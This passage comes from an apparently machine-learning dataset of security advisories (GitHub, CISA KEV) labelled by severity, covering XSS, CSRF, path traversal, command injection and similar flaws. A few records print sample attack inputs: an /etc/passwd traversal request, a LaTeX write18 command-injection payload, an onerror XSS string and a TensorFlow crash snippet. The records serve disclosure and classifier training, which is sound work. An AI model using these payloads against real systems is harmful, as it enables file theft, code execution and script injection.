tokens to untrusted receivers.\n\n### Credits\nThe issue was identified and reported by @ChainSecurityAudits.\n\n### For more information\nRead [TotalSupply Inconsistency in ERC1155 NFT Tokens](https://medium.com/chainsecurity/totalsupply-inconsistency-in-erc1155-nft-tokens-8f8e3b29f5aa) by @ChainSecurityAudits for a more detailed breakdown.\n\nIf you have any questions or comments about this advisory, email us at security@openzeppelin.com.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "9ed9d371dea0c5838552", "text": "Cross-site scripting (XSS) in Apache Velocity Tools\n\nThe default error page for VelocityView in Apache Velocity Tools prior to 3.1 reflects back the vm file that was entered as part of the URL. An attacker can set an XSS payload file as this vm file in the URL which results in this payload being executed. XSS vulnerabilities allow attackers to execute arbitrary JavaScript in the context of the attacked website and the attacked user. This can be abused to steal session cookies, perform requests in the name of the victim or for phishing attacks.", "text_raw": "Cross-site scripting (XSS) in Apache Velocity Tools\n\n[Severity: MEDIUM]\n\nThe default error page for VelocityView in Apache Velocity Tools prior to 3.1 reflects back the vm file that was entered as part of the URL. An attacker can set an XSS payload file as this vm file in the URL which results in this payload being executed. XSS vulnerabilities allow attackers to execute arbitrary JavaScript in the context of the attacked website and the attacked user. This can be abused to steal session cookies, perform requests in the name of the victim or for phishing attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "323076808a46719beea4", "text": "SonicWall Email Security Unrestricted Upload of File Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains an unrestricted upload of file with dangerous type vulnerability that allows a post-authenticated attacker to upload a file to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20023 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SonicWall Email Security Unrestricted Upload of File Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains an unrestricted upload of file with dangerous type vulnerability that allows a post-authenticated attacker to upload a file to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20023 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "af29d6f3e900242ec6a9", "text": "Remote unauthenticated attackers able to upload files in Onionshare\n\nOnionShare 2.3 before 2.4 allows remote unauthenticated attackers to upload files on a non-public node when using the --receive functionality.", "text_raw": "Remote unauthenticated attackers able to upload files in Onionshare\n\n[Severity: CRITICAL]\n\nOnionShare 2.3 before 2.4 allows remote unauthenticated attackers to upload files on a non-public node when using the --receive functionality. ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "6e9583844fbe2f5f2171", "text": "Path traversal\n\n### Impact\n\nA malicious actor could read sensitive files from the environment where TechDocs documentation is built and published by setting a particular path for `docs_dir` in `mkdocs.yml`. These files would then be available over the TechDocs backend API.\n\nThis vulnerability is mitigated by the fact that an attacker would need access to modify the `mkdocs.yml` in the documentation source code, and would also need access to the TechDocs backend API.\n\n### Patches\n\nThe vulnerability is patched in the `0.6.3` release of `@backstage/techdocs-common`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Path traversal\n\n[Severity: MEDIUM]\n\n### Impact\n\nA malicious actor could read sensitive files from the environment where TechDocs documentation is built and published by setting a particular path for `docs_dir` in `mkdocs.yml`. These files would then be available over the TechDocs backend API.\n\nThis vulnerability is mitigated by the fact that an attacker would need access to modify the `mkdocs.yml` in the documentation source code, and would also need access to the TechDocs backend API.\n\n### Patches\n\nThe vulnerability is patched in the `0.6.3` release of `@backstage/techdocs-common`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "6f551793895943b10415", "text": "bookstack is vulnerable to Cross-Site Request Forgery (CSRF)", "text_raw": "bookstack is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: LOW]", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "a69bb1086eaae16cce0c", "text": "Apache Struts vulnerable to remote arbitrary command execution due to improper input validation\n\nApache Struts versions prior to 2.3.32 and 2.5.10.1 contain incorrect exception handling and error-message generation during file-upload attempts using the Jakarta Multipart parser, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.", "text_raw": "Apache Struts vulnerable to remote arbitrary command execution due to improper input validation\n\n[Severity: CRITICAL]\n\nApache Struts versions prior to 2.3.32 and 2.5.10.1 contain incorrect exception handling and error-message generation during file-upload attempts using the Jakarta Multipart parser, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "312bb6f88f072237b1be", "text": "Cross-Site Request Forgery (CSRF) in keystone\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Request Forgery (CSRF). The package fails to validate the presence of the `X-CSRF-Token` header, which may allow attackers to carry actions on behalf of other users on all endpoints.\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "text_raw": "Cross-Site Request Forgery (CSRF) in keystone\n\n[Severity: HIGH]\n\nVersions of `keystone` prior to 4.0.0 are vulnerable to Cross-Site Request Forgery (CSRF). The package fails to validate the presence of the `X-CSRF-Token` header, which may allow attackers to carry actions on behalf of other users on all endpoints.\n\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-30", "split": "train"}
-{"id": "8d0570bec5adc6a86ba3", "text": "Critical vulnerability found in cron-utils\n\n### Impact\nA Template Injection was identified in cron-utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. Versions up to 9.1.2 are susceptible to this vulnerability. Please note, that only projects using the @Cron annotation to validate untrusted Cron expressions are affected.\n\n### Patches\nThe issue was patched and a new version was released. Please upgrade to version 9.1.6.\n\n### Workarounds\nThere are no known workarounds up to this moment.\n\n### References\nA description of the issue is provided in [issue 461](https://github.com/jmrozanec/cron-utils/issues/461)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in the [cron-utils Github repository](https://github.com/jmrozanec/cron-utils)", "text_raw": "Critical vulnerability found in cron-utils\n\n[Severity: CRITICAL]\n\n### Impact\nA Template Injection was identified in cron-utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. Versions up to 9.1.2 are susceptible to this vulnerability. Please note, that only projects using the @Cron annotation to validate untrusted Cron expressions are affected.\n\n### Patches\nThe issue was patched and a new version was released. Please upgrade to version 9.1.6.\n\n### Workarounds\nThere are no known workarounds up to this moment.\n\n### References\nA description of the issue is provided in [issue 461](https://github.com/jmrozanec/cron-utils/issues/461)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in the [cron-utils Github repository](https://github.com/jmrozanec/cron-utils)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "8fba4acca91dbd5c0d92", "text": "Apple iOS, iPadOS, and watchOS WebKit Cross-Site Scripting (XSS) Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS WebKit contain an unspecified vulnerability that allows for universal cross-site scripting (XSS) when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, and watchOS WebKit Cross-Site Scripting (XSS) Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS WebKit contain an unspecified vulnerability that allows for universal cross-site scripting (XSS) when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ab8c8972859375b96b42", "text": "Infinite Loop in Apache PDFBox\n\nIn Apache PDFBox, a carefully crafted PDF file can trigger an infinite loop while loading the file. This issue affects Apache PDFBox version 2.0.23 and prior 2.0.x versions.", "text_raw": "Infinite Loop in Apache PDFBox\n\n[Severity: MEDIUM]\n\nIn Apache PDFBox, a carefully crafted PDF file can trigger an infinite loop while loading the file. This issue affects Apache PDFBox version 2.0.23 and prior 2.0.x versions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "7a72c2c847a0d536360e", "text": "Downloads Resources over HTTP in mongodb-instance\n\nAffected versions of `mongodb-instance` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mongodb-instance`.\n\n## Recommendation\n\nUpdate to version 0.0.3 or later.", "text_raw": "Downloads Resources over HTTP in mongodb-instance\n\n[Severity: HIGH]\n\nAffected versions of `mongodb-instance` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mongodb-instance`.\n\n\n## Recommendation\n\nUpdate to version 0.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "06d299b0e02c78d126f7", "text": "Insertion of Sensitive Information into Log File in ansible\n\nA flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.", "text_raw": "Insertion of Sensitive Information into Log File in ansible\n\n[Severity: HIGH]\n\nA flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "760a8e49614e85262857", "text": "Django Incorrect HTTP detection with reverse-proxy connecting via HTTPS\n\nAn issue was discovered in Django 1.11 before 1.11.22, 2.1 before 2.1.10, and 2.2 before 2.2.3. An HTTP request is not redirected to HTTPS when the SECURE_PROXY_SSL_HEADER and SECURE_SSL_REDIRECT settings are used, and the proxy connects to Django via HTTPS. In other words, django.http.HttpRequest.scheme has incorrect behavior when a client uses HTTP.", "text_raw": "Django Incorrect HTTP detection with reverse-proxy connecting via HTTPS\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django 1.11 before 1.11.22, 2.1 before 2.1.10, and 2.2 before 2.2.3. An HTTP request is not redirected to HTTPS when the SECURE_PROXY_SSL_HEADER and SECURE_SSL_REDIRECT settings are used, and the proxy connects to Django via HTTPS. In other words, django.http.HttpRequest.scheme has incorrect behavior when a client uses HTTP.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-03", "split": "train"}
-{"id": "56fb7e7eb2abe06f7f84", "text": "Downloads Resources over HTTP in bkjs-wand\n\nAffected versions of `bkjs-wand` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `bkjs-wand`.\n\n## Recommendation\n\nUpdate to version 0.3.2 or later.", "text_raw": "Downloads Resources over HTTP in bkjs-wand\n\n[Severity: HIGH]\n\nAffected versions of `bkjs-wand` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `bkjs-wand`.\n\n\n## Recommendation\n\nUpdate to version 0.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ab2e3ac600c461a323fa", "text": "Microsoft Windows DNS Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows DNS Servers fail to properly handle requests, allowing an attacker to perform remote code execution in the context of the Local System Account. The vulnerability is also known under the moniker of SIGRed.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows DNS Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows DNS Servers fail to properly handle requests, allowing an attacker to perform remote code execution in the context of the Local System Account. The vulnerability is also known under the moniker of SIGRed.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "dee61b845d4c60138b5b", "text": "Command Injection Vulnerability\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a parameter check. Please upgrade to version >= 5.3.1\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.", "text_raw": "Command Injection Vulnerability\n\n[Severity: HIGH]\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a parameter check. Please upgrade to version >= 5.3.1\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-16", "split": "train"}
-{"id": "ea2d2d14cf87125fc552", "text": "Path traversal in Matrix Synapse\n\n### Impact\n\nSynapse instances with the media repository enabled can be tricked into downloading a file from a remote server into an arbitrary directory, potentially outside the media store directory.\n\nThe last two directories and file name of the path are chosen randomly by Synapse and cannot be controlled by an attacker, which limits the impact.\n\nHomeservers with the media repository disabled are unaffected. Homeservers configured with a federation whitelist are also unaffected.\n\n### Patches\nServer administrators should upgrade to 1.47.1 or later.\n\n### Workarounds\nServer administrators using a reverse proxy could, at the expense of losing media functionality, block the following endpoints:\n\n* `/_matrix/media/r0/download/{serverName}/{mediaId}`\n* `/_matrix/media/r0/download/{serverName}/{mediaId}/{fileName}`\n* `/_matrix/media/r0/thumbnail/{serverName}/{mediaId}`\n\nAlternatively, non-containerized deployments can be adapted to use the hardened systemd config, located at `contrib/systemd/override-hardened.conf`.\n\n### References\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.", "text_raw": "Path traversal in Matrix Synapse\n\n[Severity: HIGH]\n\n### Impact\n\nSynapse instances with the media repository enabled can be tricked into downloading a file from a remote server into an arbitrary directory, potentially outside the media store directory.\n\nThe last two directories and file name of the path are chosen randomly by Synapse and cannot be controlled by an attacker, which limits the impact.\n\nHomeservers with the media repository disabled are unaffected. Homeservers configured with a federation whitelist are also unaffected.\n\n### Patches\nServer administrators should upgrade to 1.47.1 or later.\n\n### Workarounds\nServer administrators using a reverse proxy could, at the expense of losing media functionality, block the following endpoints:\n\n* `/_matrix/media/r0/download/{serverName}/{mediaId}`\n* `/_matrix/media/r0/download/{serverName}/{mediaId}/{fileName}`\n* `/_matrix/media/r0/thumbnail/{serverName}/{mediaId}`\n\nAlternatively, non-containerized deployments can be adapted to use the hardened systemd config, located at `contrib/systemd/override-hardened.conf`.\n\n### References\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "02bb7c5de1795fd049c1", "text": "reflected XSS in tribalsystems/zenario\n\nReflected XSS in the \"admin_boxes.ajax.php\" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to execute arbitrary code by injecting into the \"cID\" parameter when creating a new HTML component.", "text_raw": "reflected XSS in tribalsystems/zenario\n\n[Severity: MEDIUM]\n\nReflected XSS in the \"admin_boxes.ajax.php\" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to execute arbitrary code by injecting into the \"cID\" parameter when creating a new HTML component.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "139524377103e3470867", "text": "CHECK-fail in `tf.raw_ops.RFFT`\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.RFFT`:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([1], shape=[1], dtype=tf.float32)\nfft_length = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.RFFT(input=inputs, fft_length=fft_length)\n```\n\nThe above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.\n\n### Patches\nWe have patched the issue in GitHub commit [31bd5026304677faa8a0b77602c6154171b9aec1](https://github.com/tensorflow/tensorflow/commit/31bd5026304677faa8a0b77602c6154171b9aec1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in `tf.raw_ops.RFFT`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.RFFT`:\n    \n```python\nimport tensorflow as tf\n\ninputs = tf.constant([1], shape=[1], dtype=tf.float32)\nfft_length = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.RFFT(input=inputs, fft_length=fft_length)\n```\n\nThe above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.\n    \n### Patches\nWe have patched the issue in GitHub commit [31bd5026304677faa8a0b77602c6154171b9aec1](https://github.com/tensorflow/tensorflow/commit/31bd5026304677faa8a0b77602c6154171b9aec1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9d3089939ed324f923e9", "text": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in ZMarkdown\n\n### Impact\n\nA Remote Command Execution vulnerability was found in the rebber module,\nwhich allowed execution of arbitrary commands. The reported problem came\nfrom CodeBlocks, which could be escaped to insert malicious LaTeX.\n\nAnyone using `rebber` without sanitation of code content or a custom\nmacro is impacted by this vulnerability. Here is an example of a Markdown\ncontent that will exploit the vulnerability:\n\n````markdown\n```\n\\end{CodeBlock}\n\n\\immediate\\write18{COMMAND > outputrce}\n\\input{outputrce}\n\n\\begin{CodeBlock}{text}\n```\n````\n\nWill insert into the generated LaTeX the result of executing\n`COMMAND` on the system.\n\n### Patches\n\nThe vulnerability has been patched in version 5.2.1.\nIf impacted, you should update to this version as soon as possible.\n\n### Workarounds\n\nIt is possible to mitigate the vulnerability without upgrading by using a\ncustom code macro. Please make sure this custom macro escapes your\nclosing LaTeX sequence. For the example above, use:\n\n```javascript\nconst escaped = content.replace(new RegExp('\\\\\\\\end\\\\s*{CodeBlock}', 'g'), '')\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [ZMarkdown](https://github.com/zestedesavoir/zmarkdown/issues).", "text_raw": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in ZMarkdown\n\n[Severity: CRITICAL]\n\n### Impact\n\nA Remote Command Execution vulnerability was found in the rebber module,\nwhich allowed execution of arbitrary commands. The reported problem came\nfrom CodeBlocks, which could be escaped to insert malicious LaTeX.\n\nAnyone using `rebber` without sanitation of code content or a custom\nmacro is impacted by this vulnerability. Here is an example of a Markdown\ncontent that will exploit the vulnerability:\n\n````markdown\n```\n\\end{CodeBlock}\n\n\\immediate\\write18{COMMAND > outputrce}\n\\input{outputrce}\n\n\\begin{CodeBlock}{text}\n```\n````\n\nWill insert into the generated LaTeX the result of executing\n`COMMAND` on the system.\n\n### Patches\n\nThe vulnerability has been patched in version 5.2.1.\nIf impacted, you should update to this version as soon as possible.\n\n### Workarounds\n\nIt is possible to mitigate the vulnerability without upgrading by using a\ncustom code macro. Please make sure this custom macro escapes your\nclosing LaTeX sequence. For the example above, use:\n\n```javascript\nconst escaped = content.replace(new RegExp('\\\\\\\\end\\\\s*{CodeBlock}', 'g'), '')\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [ZMarkdown](https://github.com/zestedesavoir/zmarkdown/issues).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "15ac1287ba6ad01dbbd5", "text": "Directory Traversal in yyooopack\n\nAffected versions of `yyooopack` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in yyooopack\n\n[Severity: HIGH]\n\nAffected versions of `yyooopack` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5d15ce7fb51a1719dcc2", "text": "Django Potential account hijack via password reset form\n\nDjango before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user's email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)", "text_raw": "Django Potential account hijack via password reset form\n\n[Severity: CRITICAL]\n\nDjango before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user's email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-16", "split": "train"}
-{"id": "9f26434851963729c798", "text": "Cross-Site Scripting in mermaid\n\nVersions of `mermaid` prior to 8.2.3 are vulnerable to Cross-Site Scripting. If malicious input  such as `A[\"<img src=invalid onerror=alert('XSS')></img>\"] ` is provided to the application, it will execute the code instead of rendering it as text due to improper output encoding.\n\n## Recommendation\n\nUpgrade to version 8.2.3 or later", "text_raw": "Cross-Site Scripting in mermaid\n\n[Severity: HIGH]\n\nVersions of `mermaid` prior to 8.2.3 are vulnerable to Cross-Site Scripting. If malicious input  such as `A[\"<img src=invalid onerror=alert('XSS')></img>\"] ` is provided to the application, it will execute the code instead of rendering it as text due to improper output encoding.\n\n\n## Recommendation\n\nUpgrade to version 8.2.3 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "594a525f6392f7d17c0b", "text": "User Impersonation in converse.js\n\nVersions of `converse.js` prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of [XEP-0280: Message Carbons](https://xmpp.org/extensions/xep-0280.html) that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks.\n\n## Recommendation\n\nIf you're using `converse.js` 1.x, upgrade to 1.0.7 or later.\nIf you're using `converse.js` 2.x, upgrade to 2.0.5 or later.", "text_raw": "User Impersonation in converse.js\n\n[Severity: MEDIUM]\n\nVersions of `converse.js` prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of [XEP-0280: Message Carbons](https://xmpp.org/extensions/xep-0280.html) that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks.\n\n\n## Recommendation\n\nIf you're using `converse.js` 1.x, upgrade to 1.0.7 or later.\nIf you're using `converse.js` 2.x, upgrade to 2.0.5 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "63934789e3650aed9465", "text": "Audio Editor Pro 2.91 Remote Memory Corruption PoC", "text_raw": "Audio Editor Pro 2.91 Remote Memory Corruption PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-07-16", "split": "train"}
-{"id": "34a328683e12a86cfedd", "text": "grape subject to Cross-site Scripting\n\nThe grape rubygem suffers from a cross-site scripting (XSS) vulnerability via \"format\" parameter.", "text_raw": "grape subject to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nThe grape rubygem suffers from a cross-site scripting (XSS) vulnerability via \"format\" parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "47bf80e99b1d4a02bd2d", "text": "Cross-Site Scripting in dompurify\n\nVersions of `dompurify` prior to 2.0.7 are vulnerable to Cross-Site Scripting (XSS). It is possible to bypass the package sanitization through Mutation XSS, which may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.0.7 or later.", "text_raw": "Cross-Site Scripting in dompurify\n\n[Severity: CRITICAL]\n\nVersions of `dompurify` prior to 2.0.7 are vulnerable to Cross-Site Scripting (XSS). It is possible to bypass the package sanitization through Mutation XSS, which may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.7 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9357b9a88a9a03e7f303", "text": "Client TLS credentials sent raw to server in npm package nats\n\nNats is a Node.js client for the NATS messaging system.\n\n## Problem Description\n\n_Preview versions_ of two NPM packages and one Deno package from the NATS project contain an information disclosure flaw, leaking options to the NATS server; for one package, this includes TLS private credentials.\n\nThe _connection_ configuration options in these JavaScript-based implementations were fully serialized and sent to the server in the client's `CONNECT` message, immediately after TLS establishment.\n\nThe nats.js client supports Mutual TLS and the credentials for the TLS client key are included in the connection configuration options; disclosure of the client's TLS private key to the server has been observed.\n\nMost authentication mechanisms are handled after connection, instead of as part of connection, so other authentication mechanisms are unaffected.\nFor clarity: NATS account NKey authentication **is NOT affected**.\n\nNeither the nats.ws nor the nats.deno clients support Mutual TLS: the affected versions listed below are those where the logic flaw is\npresent.  We are including the nats.ws and nats.deno versions out of an abundance of caution, as library maintainers, but rate as minimal the likelihood of applications leaking sensitive data.\n\n## Affected versions\n\n### Security impact\n\n* NPM package nats.js:\n  + **mainline is unaffected**\n  + beta branch is vulnerable from 2.0.0-201, fixed in 2.0.0-209\n\n### Logic flaw\n\n* NPM package nats.ws:\n  + status: preview\n  + flawed from 1.0.0-85, fixed in 1.0.0-111\n\n* Deno repository https://github.com/nats-io/nats.deno\n  + status: preview\n  + flawed in all git tags prior to fix\n  + fixed with git tag v1.0.0-9\n\n## Impact\n\nFor deployments using TLS client certificates (for mutual TLS), private key material for TLS is leaked from the client application to the\nserver.  If the server is untrusted (run by a third party), or if the client application also disables TLS verification (and so the true identity of the server is unverifiable) then authentication credentials are leaked.\n\n## Workaround\n\n*None*\n\n## Solution\n\nUpgrade your package dependencies to fixed versions, and then reissue any TLS client credentials (with new keys, not just new certificates) and revoke the old ones.", "text_raw": "Client TLS credentials sent raw to server in npm package nats\n\n[Severity: CRITICAL]\n\nNats is a Node.js client for the NATS messaging system.\n\n## Problem Description\n\n_Preview versions_ of two NPM packages and one Deno package from the NATS project contain an information disclosure flaw, leaking options to the NATS server; for one package, this includes TLS private credentials.\n\nThe _connection_ configuration options in these JavaScript-based implementations were fully serialized and sent to the server in the client's `CONNECT` message, immediately after 